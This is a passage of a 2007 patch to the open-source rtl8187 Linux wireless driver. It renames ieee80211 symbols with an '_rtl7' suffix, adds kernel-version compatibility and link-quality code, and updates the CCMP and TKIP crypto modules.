0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2348,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2366,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2386,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2397,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2410,111 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2522,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2541,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2563,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2611,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2628,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2645,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2658,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2673,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-05-26 10:37:51.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,16 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +166,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +179,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +233,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,18 +247,18 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-05-26 10:38:07.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +69,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +85,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +115,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +124,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +132,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +196,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +247,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +255,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +272,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +336,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +347,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +375,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +406,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +430,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +447,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-05-26 10:38:11.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +72,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +111,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +210,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +232,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +278,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +293,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, 